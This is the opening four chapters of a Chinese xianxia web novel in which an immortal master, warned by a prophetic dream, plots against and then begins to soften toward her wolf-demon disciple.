《一篇古早师徒虐文》
1. 第一章
《一篇古早师徒虐文》
作序曲·原著
晋江文学城·首发
2025年9月8日
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“我要将段灼逐出师门,与他恩断义绝。”
我跟面前的挚友说着。
挚友见我这副决绝的样子,不由得向我丢出了三个字。
“为什么?”
我思索了一下其中的原因,打算跟她细细道来:“因为……”
但不等我回答,挚友便打断了我的话道:“停,你等我先说。”
“自段灼拜入你门中,不只是我,还有别人,你的其他弟子,都能看出你有多喜欢他!现在是吃错了什么药,要将他逐出师门?还要与他恩断义绝?你怎么不干脆杀了他呢?”
我与云恒有百年的交情,用她的话来说就是,除了我爹娘,她就是这世上最了解我的人。
我跟云恒认识的那会儿,我还被抱在我娘怀中的时候,云恒也被抱在她娘怀中的时候,我俩还是牙牙学语什么都不懂的小娃娃。
而他们说,要给我俩定娃娃亲。
云恒一族的性别是年纪稍微大点的时候自行分化的,那时她爹她娘都觉得她应该是个男孩,我看着面前的云恒又细细回忆着过往,显然,如今坐在我面前的是分化成女子的云恒。
仙界的孩子,很早就能听得懂父母说话。
不出所料,被抱在怀中的我与被抱在怀中的云恒,隔空打了起来,打得不可开交,巴不得将对方的脸都抓破了才是。
后来云恒的爹娘与我的爹娘一同将我们抱去月老殿看了又看,似乎非常期盼我们能有类似于“欢喜冤家”的姻缘线。
结果月老抚摸着长须道:“这两个小娃娃,以后在一起的概率为:0。”
我爹娘与云恒的爹娘都颇为失望。
不过后来,我跟云恒成了挚友。
云恒的话让我对自己的认知产生了怀疑,我回忆了一下,还是觉得我对段灼跟我对碧水瑶台中的任何一个弟子都差不多。
我想起了段灼那张时常苍白的小脸,额间的一点红朱砂,他总是沉默,与同门相处得不好,见到我总会无比规矩的唤一声“师尊。”
于是我相当有底气的说:“我觉得我对段灼也没什么特别之处。”
云恒白了我一眼:“前几日,西王母送你的千年龟羹,你是不是给段灼了?”
我思考了一下:“那玩意是提升修为的,我又没什么用,段灼修为低下,适合用那个。”
云恒又说:“北斗星君前几日寻了一把好剑,名为赤赦,你是不是送给段灼了?”
我又思考了一下:“是啊,因为段灼正好缺一把称手的武器,我就送给他了。”
云恒又又说:“烟雨仙子送你的凝水桂雨膏,你是不是也送给谢灼了?”
我:“许久之前,他出去历练时被瘴气划伤脸颊,我想着这玩意可以保颜驻肤,顺手……就给他了。”
云恒不说,我竟不知自己送了段灼这么多东西。
云恒以为我认了,实则我还在嘴硬:“就算是送了些东西,也不能证明我对他特别,你又不是不知道,那些仙喜欢往我的碧水瑶台塞点奇珍异宝,也不管我用不用得上,我收拾收拾都送给段灼,房间里干净多了,若是都堆着,哪还有给你下脚的地方?”
我爹我娘在仙界地位非常高,所以这些奇珍异宝,自我还是孩童起,就见过不少,如今也并不稀奇。
云恒见我这副死鸭子嘴硬的模样,气不打一处来,咬牙切齿道:“那我问你,为什么都给段灼,而不给别人?你这碧水瑶台又不是只有他一个徒弟!又不是只有他没有称手仙器,又不是只有他一个修为低下,又不是只有他一个下山历练受伤了!”
云恒朝我咆哮,声音几乎响彻我的碧水瑶台上空:“你竟还说,你对他不特别!!!!”
我连忙将云恒的嘴捂住:“你想让我这碧水瑶台闹翻天吗?”
云恒白了我一眼:“你以为我不说,你那些弟子就不知道了吗?”
我垂眸,也终于开始反思自己,我道:“其实我也不知道吧,或许是因为他……”
云恒又道:“我知道你要说什么,因为他最像你那个“英年早逝的白月光”,所以你也忍不住对他多几分怜爱?”
“英年早逝的白月光”其实只是一个称呼,而我这位白月光并没有死,只是在我心里已经死了。
我道:“是也不是吧,其实你这么一说,我也觉得或许我对段灼跟对其他弟子还是有点差别的。”
云恒没好气道:“话说到这里,所以呢?你到底为什么突然想跟段灼恩断义绝?”
我问:“云恒,你可相信预知梦?”
云恒看向我的神色有些奇异,她问道:“封镜,你是不是越活越回去了?如今魔界躁动,仙界多少人被他们编织的‘预知梦’骗得自相残杀?你竟也相信这些了?”
仙魔大战后,死伤无数,两族首领决定止戈,不再让战争涂炭世间生灵,于是乎有了近百年来镜花水月的和平。
然,这样的和平之下,却还是会有些许波澜和涟漪荡漾。
正如这游行于仙界,编织预知梦的妖。
我白了云恒一眼:“我这预知梦跟他们的不一样。”
我与她说:“自仙魔大战后,我一直勤修苦练,要不是你们劝着,我早就杀到酆都去给我爹娘报仇了,你觉得那些小妖的‘预知梦’能进我的梦里?”
这话说得有些傲气,不过也是事实,我的修为早已是遥遥领先同辈,云恒口中所谓的预知梦根本无法侵入我的梦境。
云恒问:“那你梦见了什么?”
我闭上眼,回忆起那个梦。
“我梦见,我们所经历的一切,连同这个世界都只是一出折子戏,既是戏,那故事中便有主角有配角。”
“在这出戏中,段灼是主角,别看他现在落魄,以后他会成为权倾仙界,迎娶美娇娘。”
云恒问:“那你呢?”
“我对段灼很好,将所有珍宝如数捧到他面前。”
我的神色变得扭曲,嘴角抽了抽,继续说着预知梦中我不愿吐露的内容:“后来,我喜欢上了段灼,想将他占为己有,奈何段灼不喜欢我,我就成了善妒的恶毒师尊,也就是反派配角,因爱而不得发疯,害死了许多无辜之人。”
“我的结局是被段灼万剑穿心,尸骨挂在城门口,任乌鸦啃食三年。”
云恒显然不相信我的话,其实梦醒的时候,我的神色也如她这般错愕。
这梦简直就是颠倒是非黑白,我是仙,却成了恶人,段灼是妖魔,却成了惩治我的仙人。
云恒问:“你如何证明这不是妖怪做的假‘预知梦’,来骗你的?”
我:“你如何证明这是个假的‘预知梦’而不是个真的‘预知梦’?”
“……”
我:“我都说了,那些假的没办法入侵我的梦境。”
云恒:“还有什么别
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的方法证明吗?”
我思考了一下:“西王母会送我一颗南海明珠,我会赠予段灼,你信不信?”
云恒白了我一眼:“今日我们去昆仑山拜见她时,她便说过要赠你一颗南海明珠,过几日送到碧水瑶台,至于送不送给段灼,是你个人的主观意愿。”
我有些尴尬:“哦……我睡糊涂了。以为这南海明珠也是预知梦里的。”
“且你想,段灼修为低,就算小妖造‘预知梦’也应该是挑拨我与你的关系,让我们自相残杀,不该是我与段灼。”
云恒看着我有些怀疑,不过思考后又点了点头:“你说得对。”
“不过你就是为了这么莫须有的东西,决定跟你这眼珠子似的宝贝徒弟恩断义绝?”
“未免太仓促了罢。”
我的身体有在梦中被万剑穿心后的疼痛记忆,醒来后更是冷汗涔涔,指尖都在微微颤抖,这一切梦境之景,于我而言,就像是亲身经历一般。
我依稀记得,在梦中段灼掐着我的脖颈将我高高提起,我的自尊和神性都丢了一地。
死亡临近时,任何人都会本能性的求饶。
我向段灼求饶,他却说我是毒妇,让我去死。
而今回想起来,我深觉自己在梦中跌下神坛的样子真是狼狈至极。
我没有跟云恒说,也没让她看出来,毕竟如今的我还活着,尚且要些面子。
我:“什么眼珠子似的,我都与你说了,我对他,跟对其他弟子没什么区别。”
云恒眉毛一挑:“南海明珠?”
我认输:“其实我对他还是有点好的。”
云恒又道:“但你也别太给自己脸上贴金,你对他也没有那么好。”
云恒的话让我一怔,她的意思我也明白。
我的脑海中浮现出段灼的模样,他扎着高马尾,时时一身玄色劲装,额间一点红色朱砂,他生得好看,但是我从未见过他笑,他似乎也并未笑过。
额间的朱砂色是我给他的封印,能够将他的妖力封印起来,也因为他是妖,修不出灵力,故而无论如何修炼,也无济于事。
段灼是妖,是魔族魔尊之子,魔尊说是将段灼送到仙界来学习,实则是送来当质子的。
我的父母死于仙魔大战,他们皆被妖魔一族所杀,所以我憎恶世上的每一只妖。
段灼是妖,故而他在我的碧水瑶台时常会被其他弟子欺负。
而这些我都知道,但通常我都会选择视而不见,装聋作哑,除非真的打到我面前,为了维护一些师尊的尊严,我尚且才会为段灼说上两句好话,再装模作样惩戒那些弟子。
不过这都是少数时刻。
毕竟没有弟子会给自己找麻烦,欺负到我面前。
除此之外,我时常会送段灼些东西,是偶尔大梦初醒,我梦见爹娘在梦中与我说,要与万物为善,八荒九洲,天地之大,无论是人、仙亦是妖,都有好有坏。
西王母曾与我说,我的爹娘都是死于天下苍生,死于大道,他们是有神性的仙,而我却不是。
在我看来,什么八荒九州,什么大道正义,什么天下苍生都与我无关。
但他们仙去,我却把自己养成了这副卑劣的样子,心中偶尔也会生出些愧疚。
也因我常往段灼房中送些宝贝,别的弟子难免会听到风声后心生嫉妒,心中抱怨我这个师尊为何如此喜欢一个毫无灵力的妖族少年。
所以他们欺负他,欺负得更狠了。
2. 第二章
“我确实没对他这么好,可他在仙界的归处不是我给他提供的吗?若不是我,他一个妖,指不定上哪儿饿着。”
我就是这么一个嘴上不服输的人。
不过我也反思了一下自己,这些年来我确实没有尽到作为师尊的责任,没有教授他很多心法剑术,没有在他被旁人欺负的时候替他出头,只是偶尔往他房中像扔垃圾似的丢点其他仙送给我,而我用不到的奇珍异宝。
我看着他沉默寡言的收下,用看门狗一样的眼神看着我,以此来获得我作为师尊的一些尊严,来慰藉我在天有灵的父母,告诉他们我人性与神性尚存,也并未苛待妖魔一族。
我作为仙,却也只是个自私自利、卑劣无比只为自己考虑的仙。
我爹娘这般将三界大任担在自己身上的大义之士,却有我这样的女儿。
云恒却说:“得了吧,或许离了你,段灼能过得更好呢?”
“封镜,你不知道时代早就变了吗?妖魔一族早已并非人人喊打,当初段灼来仙界时,可是有许多仙都想将他收入门内。”
自仙魔大战后,数年间的迅变交织,仙的思想也在进步,不知最开始是谁先开的头,如今神仙与妖魔结合已经成了大众所能够接受的了。
但我是个老顽固,我接受不了,我与妖魔一族有血海深仇。
预知梦里说,往后我会爱惨了段灼,这样的未来,于我而言是奇耻大辱,首先段灼是魔族,其次他在我眼中不过是个初化形的小妖,还是个小孩,再者我与他还是师徒关系。
我接受不了妖魔恋,亦接受不了师徒恋,怎么会喜欢上段灼?
段灼的父亲是龙族,母亲是狼族,于妖而言,母系血脉会强于父系血脉,故而段灼是只狼妖。
最初狼族是作为魔界首领的,但经过百年以来的内部争斗后,早在仙魔大战前,魔界的首领便是龙族了。
因两族争斗,狼族死伤惨重,如今已经成了稀缺物种。
龙族、狼族、狐族、蛇族皆能通过修行幻化出人形,可其中龙族高傲,狐族魅惑,蛇族狡诈,狼族沉稳。
如今的狼族虽在酆都城并不讨喜,但在仙界却讨喜。
云恒见我不说话,絮絮叨叨说着:“你还记得那日的场景吗?”
我白了云恒一眼:“当然记得,我是喝醉了,不是死了。”
我现在都还记得见段灼的第一面,看他的第一眼。
那时段灼才化为人形不久,是个就连尾巴和耳朵都藏不住的小狼妖,在一干神仙中间,警惕又倔强地看着他们。
他的眼眸是漆黑的,眉目也是凌冽的。
但是吧,这不论是人、妖亦或是神仙,只要你太过于弱小,就连生气恼怒都有人会觉得你在撒娇卖萌。
段灼当时就是这样的情况。
在神仙的视角里,他矮小、坚韧,浑身毛茸茸的,像一只……不太好惹的猫咪。
除去耳朵和尾巴,他的模样有八分像我白月光的少年时。
云恒继续道:“那日你醉酒,闯入人群醉醺醺盯着段灼看,大叫了一声芜……”
“唔唔唔……”
我将云恒的嘴巴捂起来,饶是我这样的神仙也怕从别人口中听到自己的丑事。
我威胁她:“再多说一句,我就将你的舌头拔出来。”
这样的话奏了效,我松开云恒,她果真没有再继续说。
我的酒量一直都很好,与云恒或是别的仙饮酒从未输过,亦从未醉过。
他们都说我是女仙,所以让着我,谁知被我喝趴在桌上,几日都起不来。
我对此也只是幽幽飘过一句:“可别小瞧女仙。”
我娘是女仙,亦是战神,人也罢,仙也罢,只论能力,不论男女。
只是那日,是我爹娘的忌日,我喝了个酩酊大醉,手提酒壶,走路颠三倒四,全然没有个儿时父母谆谆教诲中,女仙应有的模样。
我像一缕飘然的游魂行于世间,走过仙界各处,看过山川草木,远山日暮,无依无靠,亦无畏无惧。
我走啊走,终于停住脚步,我举目四望,却不知自己走到了何处,我的眼前出现了许多座大山,我拨开这些大山,走到人群之中,那是我看段灼的第一眼。
我以为是白月光的少年时期回来了,于是我第一次见他,喊的是白月光的名字“芜奚”。
后来我记得自己还对他说。
“跟我回家吧。”
如今回忆起来果然还是觉得,就算是仙,在醉酒后也无法预料自己究竟会说些什么丢人的话。
我的白月光是芜奚仙君,如今他已娶妻。
我将他当做白月光的原因大概是,仙魔大战后,我不信旁人所言我爹娘死于酆都,于是我趁着仙界乱成一团,西王母忙得晕头转向之时,独自一人偷偷去寻他们。
那时我只是个修行才入门的小娃娃,不出所料,我被困于酆都,九死一生后逃出,第一个见到的人便是芜奚仙君。
不过那时的他,与现在的他截然不同。
他将我抱在怀中,轻声宽慰我,说一切都过去了,如今三界和平,妖魔一族退去,没有人会伤害我。
而年幼的我在他怀中泣不成声。
他告诉我,我的爹娘永远回不来了,他们去了另一个很远很远的地方。
多么美好的相遇啊。
可如今,这些都成了我的黑历史。
云恒时不时就会拿出来打趣我。
但云恒又说,我根本就不是喜欢芜奚,只是求个心灵寄托,毕竟那是我在大战后为数不多的温存又美好的记忆,我只是贪恋那段温暖的记忆。
其实连我自己也不知道。
我忙打住她的话音:“我们不说那些有的没的。”
“我现在就要把段灼逐出师门。”
这时候我才骤然想起,段灼被我派出去驱除妖邪,如今不在碧水瑶台,不过算算时间,今日晚些也该回来了。
云恒道:“你先别急呀。”
她思索后,又问我:“预知梦里说你之后会爱上段灼,对他无条件的好,你觉得有可能吗?”
我果断反驳:“不可能,这比我出门被雷劈中的概率还小。”
什么爱啊情的,光是想到我浑身鸡皮疙瘩都冒起来了。
我一个还未曾真正谈过恋
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爱的妙龄女仙,怎会喜欢上他一个区区小妖?
云恒道:“既然你觉得不可能,那为何会在意这些?”
我说:“我在梦中真实感受到了,我对他因爱生恨心中的痛。”
“还有在故事的结局,他将我万剑穿心的痛。”
我与她说时,指尖也在微微颤抖,我的唇有些干涩,像广袤无垠的赤地蛮荒,我独自将鲜血滚入腹中。
梦中的痛楚,是没人能够体会的,所以我认为,这一切在未来是必然会发生的。
云恒叹了口气。
“可段灼是魔尊之子,送过来代表着魔界跟仙界求和,他虽不受宠,但你就这样将他赶走了,难免会多遭些口舌。”
云恒的话让我有些动容,若是我将段灼赶走,且不说旁人看法如何,段灼必然会对我怀恨在心,若是有朝一日他有能够对付我的力量,那我不也死翘翘了?
云恒又道:“世间万事万物,皆有其所遵循的因果,你认为造成这预知梦中的‘因’究竟是什么?”
我说:“是我爱上了段灼,并无条件对他好。”
所以我才迫切想将他从身边赶走,但不如说,除此之外我再无别的办法。
云恒摇头道:“我认为造成这一切的‘因’是造成你对段灼态度转变的契机。”
“如你所说,你对段灼一直都很差,那为何有一日会突然对他很好,并爱上他呢?”
这个问题将我问得哑口无言,在预知梦中没有说为何我会突然对段灼好,并且爱上了他。
能够改变我未来结局的方法是,阻止这个“因”的出现,但如今我还不能够确切知道这个“因”究竟是什么。
所以正确的方法应该是:我避免爱上段灼,且段灼死去,他死了,我就一定可以活下来。
蝼蚁尚知求生,更何况我这仙呢?
云恒还在说着:“段灼是魔界的人,你打他、骂他如何都好,只要不将他弄死了或是送走,那谁也不会在意。”
我点头道:“我会将他留下来。”
但是后面的话,我却并未跟云恒说。
我不会爱上这个妖族少年,我决定狠狠虐待他,最后再将他推入万魔窟,看他化作血水,受尽折磨而死。
下这个决定后,我浑身上下都在颤栗,就像是感受到了即将复仇的快感。
似乎在我身体中鲜活的人并非我,而是在那个预知梦中死而复生的“我”。
赤地千里,蛮荒无涯。
云恒走后,我忆起了儿时母亲曾与我讲过的故事。
母神女娲,以十肠造神,以身化万物,以拘土做人①。
三界初定性,十肠为神,拘土为人,而被抛之以外的为魔和妖。
创世后的一场浩劫,使支撑天空与地面的四根巨柱倾斜倒塌,九洲大地开裂,天空无法再覆盖大地,大地也无法再承载万物。
天倾西北,地陷东南。
大火弥天,洪水泛滥,世间穷兽肆虐横行。
母神女娲以五色石补天,捕神龟之足撑起四方天地,斩杀黑龙以灭洪灾,得以平息灾祸②。
我与段灼,是仙魔殊途。
3. 第三章
万魔窟是各仙家轮流派人镇守之处,仙魔两界和平已久,就连魔界也不能干涉万魔窟的种种。
万魔窟之下放逐着万恶不赦的恶鬼妖兽,里面有着最原始的弱肉强食生存法则,月圆之夜是其结界最为薄弱之时,那些不想成为食物的妖会企图冲破结界,获得自由。
这时便需要仙界加派人手,斩杀四散的妖邪。
届时轮到碧水瑶台镇守万魔窟之时,我会亲手将段灼推入其中,他必会被里面的恶兽吃得连渣都不剩。
这样方可抵偿他带给我的万剑穿心之痛,改变故事的结局。
这时一守门弟子进来,朝我作揖道:“师尊,下山的师兄师弟们回来了。”
我道:“让他们进来。”
门内的规矩是,所有弟子驱除妖邪归来后,必须当面与我讲述做了些什么,领悟了些什么,方可自行休息。
我望向庭院外,犹记那日他们出这碧水瑶台前,这地上干干净净一片,如今归来,地面多了一片绒雪似的落花,枝头的桃花开了谢,谢了开,已有几遭。
弟子们鱼贯而入,在我面前站成一排,被人群压在末尾的便是段灼。
他们恭敬朝我行礼:“师尊安好。”
我的目光定格在段灼身上,他垂着眸让我看不清容貌,着一身玄衣,全然不像个修仙者,他似乎比上一次见面时高了些。
我摆了摆手:“都起来吧。”
而后一个接着一个弟子朝我说着在玲珑镇中经历了些什么。
多是无趣且相差无几的。
我的思绪逐渐飘远,或是随着凋零的落花飘到地面,或是随着远山木舟在如明镜的湖面逐渐划远。
他们之中多数人都是不敢看我的,可段灼却敢。
我感受到段灼微微抬头投过来的目光,我也微微侧目看向他。
段灼的眼眸漆漆然,像黑曜石,又像沉沉如水的死潭,看过来时宛若在水中投入了一颗石子,涟漪阵阵。
他额间的一点朱砂色,胜过他艳泽的唇色。
他顺着我的神色,看向屋外的片片落花被风拂于庭院的地面。
我对段灼的记忆还停留在那收不回的耳朵和尾巴的小狼妖上,如今他竟然长成了凡人口中的青少年模样。
人群渐散,终于到了末尾的段灼,我与他对视,空荡荡的大殿只有我们二人。
段灼来时我便发现,他的腿似乎有些跛。
别的弟子修行历练或许三两成行,而段灼总是孤身一人。
他又抬起那双黑曜石似的眼珠子看着我,额间的朱砂散发着异样的红。
他行礼,声音也有了成年男子的低沉:“弟子段灼,拜见师尊。”
我不禁想,妖的成年究竟是在多少岁?
段灼见我不说话,便与其他弟子一般娓娓道:“弟子受师尊之命,前往玲珑镇斩妖除魔……”
别的弟子或许会说见到大妖,妖之大,自己又是如何一己之力斩杀妖魔,从中领悟了什么。
其中不乏有吹牛的成分,不过这都是少年人的通病了,毕竟我儿时也总是叫嚣着要单枪匹马除掉魔尊。
他们各说各的,各不拆穿各的,大家都是同门,还要日日相处。
不过这其中却少了些真话,这也是我觉得无趣的缘由之一。
段灼却并未这样说,他说的是与师兄们合力除妖,但能力微弱的自己并未做出大的贡献。
他微微停顿,看向我,似停顿了许久,才又说道:“弟子途径玲珑镇……”
他手心里置放着一个一个簪子模样的物件递到我面前,头埋得极低。
“见到此物,觉得适合师尊,便买来赠予师尊。”
这话听起来有些没底气,其实我不想要的,但还是鬼使神差接过簪子看了看。
那是一支桃花木簪,坠着一簇栩栩如生的桃花,旁边还有几片点缀的绿叶,摇晃之时会发出细微的声响,叮铃悦耳。
簪子上有缭绕着微弱魔气,是段灼身上的。
我腹诽道,这桃花簪样式一般,也并不适合我,我一向喜好用素簪,若是簪这个,倒是有些奇怪了。
但我并未说什么,段灼见我收下了,似乎松了口气,继续说着在玲珑镇中经历的其他事,却独独没说腿是如何伤的。
等他将话说完,我扬起下巴示意着:“腿是如何弄伤的?”
其实我大概知晓是如何弄伤的。
他只看着我,并不说话,我依稀能看见他脸颊处也有大大小小的伤,像大地表面微微干涸裂开的痕迹。
但段灼生得好看,这样的裂痕却并未对他的容颜造成影响。
我左右细看他那张尚且有些稚嫩痕迹的面容,如何都想不到预知梦中居然说我以后会爱惨了这小妖。
不知过去了多久,许是他鼓足了勇气,才又沉声道:“师兄推我。”
他的话音中却带着些委屈,但我对他这淡淡的委屈视而不见。
但段灼的话让我记起了往日的一件事。
段灼的记性不大好,却不能够说是不好,仙医说,他的记忆受损了,故而比旁人记东西更慢,也更不容易记住。
如何得知的,还要从过往的某日说起。
那日,我在后山竹林中小憩,叽叽喳喳的话音将我吵醒,我醒来便看见几个弟子将刚进师门不久的段灼围了起来。
“哟,听说今日师尊又往你屋中送东西了?”
“可不是吗?师尊送点东西,你这尾巴都翘要起来了,见到我们几个连‘师兄’都不叫一声了?”
我站在他们看不见的角落心道,那确实是我不好,又往段灼房中丢垃圾了。
“尾巴呢?耳朵呢?怎么不翘起来让几位师兄看看,解解闷?”
他们将他围在中间,戏弄的声音遮天蔽日,活脱脱将段灼当成了街头卖艺表演的。
我在暗处有些惊讶,毕竟这几个弟子在我面前都是乖顺的,谁知还有这么一面,我对他们几人产生了些厌恶。
段灼在中间低头道:“诸位师兄安好。”
其中一名弟子不依不饶道:“这就没了?我是哪个师兄?他又是哪个师兄?你连我们几位师兄的名讳都不记得?”
那时段灼很矮很小一只,被围在他们中间,我只能听见声音,却看不见人,我在远处听见段灼说着:“我自幼记忆力便不好,不记得诸位师兄的名字。”
而后我听见了一声清脆的巴掌音,那为首的弟子神色桀骜,扇了段灼一巴掌。
这一巴掌叫我都蒙了,像是扇在我脸上,火辣辣的疼。
俗话说,教不严,师之过,段灼再如何有错也是我的弟子,轮不到旁人去教训,这一巴掌扇的是段灼,却也扇了我作为师尊的颜面。
那是我唯一一次为段灼出头,我瞬身过去,将扇了段灼一巴掌的弟子手掌折断,我面色森然道:“我的弟子,如今也该轮到你去教训了?”
“碧水瑶台的主位你去坐,如何?”
大概是我往日里对他们都笑颜和善,这次之后,所有弟子都怕我。
我将那几个弟子赶出碧水瑶台,却也并非因为他们欺辱段灼,是为了我的师尊颜面。
那日殿中,我唤来仙医为段灼看诊,我看着他苍白的小脸高高肿起,其上有一道鲜艳的红,他始终低垂着眼,一言未发。
只是末了走时与我说了一句:“多谢师尊为我解围。”
我与他说:“我并非为你解围,只是我眼中容不得沙子。”
纵然他没有多说什么,我从他那双如深潭般寂静的眼眸中还是发觉了一些细碎的光亮。
我知晓,我的举动在他心中溅起了水花。
我看着眼前比那时还高了些的段灼,我与他说:“你师兄不是故意的,回去好好修养。”
段灼一怔,却还是颔首答下:“是。”
我是碧水瑶台的主人,亦是他们的师尊,不只是
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段灼,这碧水瑶台中的所有人,对我说的话也只能言听计从,毕竟师尊是不会有错的。
大概是我许久未曾再说些什么,段灼又抬起头看我,他生了一张与修仙者常见的剑眉星目不同的面容,不如蛇族妖媚,不似龙族威严绝傲,而是狼族特有的沉稳如水,那双眼尤其叫人读不出“背叛”二字。
我想起了云恒曾说的,若是我不要段灼,有的是人要他。
上古有言,母神女娲与伏羲曾为洪水之后幸存下的一对眷侣①。
人皆有欲,而仙与神亦然。
我曾听别的女仙说过,仙界的仙君多修无情道,其大道断情抑性。
然妖魔却是纵情纵欲之族,在体魄乃至情-欲方面更强于仙界仙君诸人。
估计那日我在众仙中带走段灼,所有人都以为我并非将他当做弟子,而是想要将他养大,当做取悦自己的工具。
这样的说法叫我一阵恶寒,我并不认为,我会与这个小妖发生些什么。
段灼化形才多少时日,我却已有百年,若在人间,他见到我都是要下跪叫奶奶的程度了。
段灼朝着我作揖准备离开:“若无事,弟子……”
我叫住他,顺手幻化出一本又厚又灰的书丢在地上:“且慢。”
段灼一瘸一拐走上前,将书拾起来,小心翼翼拂去上面的灰尘。
我:“你的腿不便,这五日不必再行修炼之事,但此书的所有内容需在这五日中记住,再来找我一字不落背诵。”
那日仙医还与我说,强行灌输叫他记住某样东西或某件事,会致他头疼欲裂,痛苦万分。
我还问她,这病究竟如何来的。
仙医与我说:“他的心口处缺了一块。”
我问:“因为这个?”
其实我并未听过心口缺一块会影响记忆的说法。
仙医却摇头道:“缘由未知,我只是探寻到他心口缺一块,便一同与你讲了。”
我无语:“……”
心这东西对于仙人妖都非常重要,不知段灼缺了的这块究竟是去了何处。
不过我也懒得深问。
我知晓段灼的毛病,段灼也知晓,我知晓他的毛病,但他也并未说什么。
只是垂眸轻轻拂去书面上的灰尘,他比从前高出许多,只看着他的发旋,都让我觉得他似乎有些委屈。
但我一向认为,“委屈”这样的神态并不会出现在一个青年男子身上,故而我觉得,段灼还是小孩。
像是为了证明我并非故意苛责他,我又说:“此书为仙界上古通用心法,若字句活通,对修为增长有所裨益。”
其实不然,这只是一本仙界的规章典籍,当初伏羲帝挨家挨户给仙界人人都发了一本,要求大家字斟句酌熟记,为各仙所恪守。
此物是我爹娘传下来的,到我这辈,翻看两页不到,我便呼呼大睡。
这玩意太好催眠了,送给段灼让他也睡个好觉吧。
段灼像一棵沉默寡言又令出必行的老树,只点头答“是”,对我的胡编乱造也不疑有他,怀中抱着那枯燥无味的书退下了。
其实我不相信他能在五日之内将书中的内容背下来,不过他没提,我也省得多说些话。
段灼与别的弟子不同,他们或许会与我讨价还价,而段灼则是将我所说都记在心中,尽力而为之。
我起身走了两步,又伸了个懒腰,一个早晨的时间我都坐在这里,去听弟子们在玲珑镇中所经历的事,难免浑身不活络。
我走到门外看着一地落花,想起了最初我为何会收徒。
碧水瑶台从前是我爹娘的住处,而仙界的人死后只能剩下些灰烬,那时我年幼,云恒的父母帮我的爹娘立下衣冠冢,离碧水瑶台有些距离,却能隔云相望,我年年会去拜会。
后来一个人太寂寞,修行之余,我便下山化作寻常的人间女子四处溜达,而路边的乞丐少年是我收下的第一个弟子。
4. 第四章
乞丐少年的眉眼有四分像芜奚年少时。
不过我对他印象并不深刻,只记得那时他与我说会努力修炼,成为于世间有用之才,来报答我的恩情。
我表面点头,心中却笑,他的师尊我,尚且都没有这样的志向,他又为何会觉得这样就是报答我?
世间有用之才,与我又有何干系?仙并非都是心怀大义的,尤其是我这种仙。
不论我对他这样的想法是何种态度,但后来我知人终于有一日是会变的。
他忘却了曾经许下的誓言,变得蛮狠无理,那日他与旁人一起在后山竹林中欺辱段灼,我看着心烦,就一并赶下山了。
我最初收徒,不过是自己一个人闲来无趣,云恒日日也忙,我不能总叫她来与我闲谈解闷。
谁知,收的弟子也一样让我觉得无趣。
但我以为,人仙魔性情各异,或许这个无趣,那个便有趣了呢?
我照着芜奚的模样收了许多徒弟,与他眉眼相似的,与他脸型相似的,与他身形相似的,偌大的碧水瑶台成了巨型的芜奚周边收集地。
段灼,是我收的最后一个弟子,他与芜奚少年时也是最像的,起码七八分,像到我怀疑他是芜奚同父异母的妖族兄弟。
但他们之间的年纪差太大了,芜奚比我都还大上几百岁,当他爹还差不多。
段灼从少年到青年,从无法自主收回耳朵尾巴,到如今能够灵活收放自如,不过偶尔还是会在我面前无意间露出耳朵尾巴。
他也长成了芜奚长不成的模样。
寝殿外的庭院中有几棵仙气飘飘的桃花树,我总以为是季节的缘由,那树如撒盐般,花四散飘落了一地,将庭院外的地面铺上一层薄薄的绒被。
在纷纷落花中,我却看到了一个漆黑的身影,与满地的桃花看起来并不协调。
他的腿一瘸一拐,缓慢移动着,手中不知拿着什么。
我原以为段灼早就走了,谁知他还在我的庭院里。
他背对着我,落花纷纷,枝头有鸟雀在轻轻叫着,我走近了些,段灼似乎才感觉到有人在他身后。
段灼是妖,故而在修行方面无比笨拙,就连最基本的凭气息感知万物存在,他都未曾学会。
走近了我才发觉,他是在扫地上的落花,方才在殿中,段灼顺着我的目光往屋外看去,他或许以为,我在意这满地的落花。
我问道:“你为何还不走?”
参天的树,如烟的花雨,将我与段灼网在其中,我的衣袖上,他的衣袖上,都是白中带粉的落花。
段灼闻声,回头看我。
他一只手拿着方才我交给他的书,另一只手拿着扫帚,他经过的地方,落花也被扫做成了个团子的模样。
碧水瑶台仙泽缭绕,仙山十年如一日,万物受仙气哺育,四季如春。
桃之夭夭,其叶蓁蓁①。
花时时落,时时生,叶也时时落,时时生。
我是懒散之人,少有去管这些落地的花花草草,万物生存有道,既然落于地面,想来也有花草的道理。
但最重要的还是我懒得去侍弄这些。
我自己不打理,也从不需要旁人去打理侍弄。
碧水瑶台收了很多弟子,可实际上我与这些弟子心与心相隔甚远,他们惧我畏我,我亦无所谓。
往日还想着收些弟子解闷,可时日一久,见识过的人多了,便觉得来来去去都是孑然一身,旁人于我而言也并无太多趣味。
殿外虽日日有守门弟子,却都在门外,若无事,我从不允他们进来。
我行于人间太久,那时望向庭院外,还以为落花是四季变迁,后来看到段灼才知,原来是有人替我清扫了落花落叶,他一月未归,庭院外的落花便铺成了绒雪。
我夜里饮酒睡觉,白日修行打坐,纵然仙生无趣,但也从未注意过庭院中的落花。
他将手中的扫帚撂下,行礼道:“见过师尊。”
行了礼后段灼便埋头不再看我,碧水瑶台的弟子都知晓,我的殿是无召不得进的。
他大概是觉得我可能生气了,不得令便不敢起。
我唤道:“起来。”
今日他进我殿中不到两个时辰,却说了三次“见过师尊”,礼数周全,所为之事却是旁人不敢为之。
他抬头看我,目色沉沉,却只缄默,没有一句狡辩的话。
我与他隔着落花对望。
我发觉,段灼不再是从前那只收不回耳朵和尾巴的小狼妖,不再是那个有八分像芜奚的少年。
他比我高出许多,肩宽体阔,方才与他那些师兄站在一起,段灼站在尾端,却也是人群中最高的那一个。
我又想起别的女仙说,魔族男子的体魄比仙界那群修无情道的强多了。
段灼生得好看,比这碧水瑶台中任何一个弟子都好看。
思绪游离,我浑然不知他抬起手,指尖无意穿插过我的发,为我摘下发间的落花。
我垂眸看着他指尖的花,又抬头看着他。
我微微蹙起眉心,心中却有些惊讶。
段灼似乎也走神了,后知后觉意识到自己的行为后,往后退了两步,将我与他之间的距离拉得远些,他垂眸又朝我行礼道:“弟子无意冒犯,师尊恕罪。”
是了,他碰了我的发梢。
我是他的师尊,这于我而言是不能忍受的。
于是我微微蹙起眉心,骂道:“混账。”
不过比起他碰我,更让我惊讶的是他的触碰竟然没让我觉得恶心,被他触碰的地方也并无搔痒之感。
在爹娘仙去后,我得了一种怪病,一种无数仙医都医不好的怪病。
那就是不能触碰男子,一旦触及男子,轻则触碰之处搔痒难耐长出疹子,四五天才能消下去,重则恶心反胃做噩梦好几日。
